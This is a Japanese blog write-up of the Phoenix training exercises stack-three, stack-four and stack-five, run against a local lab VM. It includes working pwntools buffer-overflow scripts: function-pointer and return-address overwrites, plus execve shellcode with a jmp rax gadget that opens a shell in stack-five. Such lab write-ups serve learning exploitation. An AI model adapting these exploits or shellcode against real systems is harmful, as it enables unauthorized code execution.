BuringStraw

BuringStraw

[pwnノート2]stack-three、stack-four、stack-five(Phoenix)

最近は数学モデリングと学校の始業が重なって、とても大変です。遠くの入門問題を見てみましょう。ベースアドレスがないので、比較的簡単です。

(この段落を書いている時点では、確率論の試験がまだ考えていなかったし、CTF の学校大会もやっていたので...)

stack-three#

呼び出される予定の関数ポインタのデータを上書きします。前とほぼ同じです。

from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)

s = b"a" * 0x40 + p64(0x40069d)
sh = shell.run(b"/opt/phoenix/amd64/stack-three")
sh.recvlines(1)
sh.sendline(s)
print(sh.recvlines(2))

stack-four#

スタック上のリターンアドレスを上書きします。

https://s2.loli.net/2023/02/25/YB5ux4CUSAeowPv.png

0x648-0x5f0=88

from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)

s = b"a" * 88 + p64(0x40061d)
sh = shell.run(b"/opt/phoenix/amd64/stack-four")
sh.recvlines(1)
sh.sendline(s)
print(sh.recvlines(2))

stack-five#

シェルを取得する必要があります。スタックが実行可能なので、gets を利用してシェルコードを読み込み、リターンアドレスを上書きしてシェルコードを実行できます。

このプロセスは非常に完璧に見えますが、なぜかスタック上で 2 ステップ実行するとセグメンテーション違反が発生します。ASLR を無効にし、デバッグをアタッチしたり、gdb の環境変数を無効にしたりしてスタックアドレスの変化を排除しようとしましたが、進展はありませんでした。

後で別の方法を見つけました:

![Untitled](/pics/%5Bpwn ノート 2%5Dstack-three,%20stack-four,%20stack-five (Phoeni%207b5b662947354bf68eff78239c6d2262/Untitled.png)

gets を呼び出す前に、s は rax に入れられます。そのため、シェルコードを直接最初に配置すると、rax が指すようになります。

ROP を使用して、jmp raxのセクションを見つけてそこに戻り、次のステップでシェルコードにジャンプします。

from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)

total = 136
sc = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
jmp_rax = p64(0x400481)
s = sc+b"a"*(total-len(sc))+jmp_rax

sh = shell.run(b"/opt/phoenix/amd64/stack-five")
sh.recvlines(1)
sh.sendline(s)
sh.interactive()

もう一つのこと、gef では以下のコマンドで context 内のスタックの表示行数を調整できます。

gef config context.nb_lines_stack 30

これにより、仮想マシンに peda をインストールする必要がなくなります(これら 2 つを同時に使用するとパフォーマンスが低下します)。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。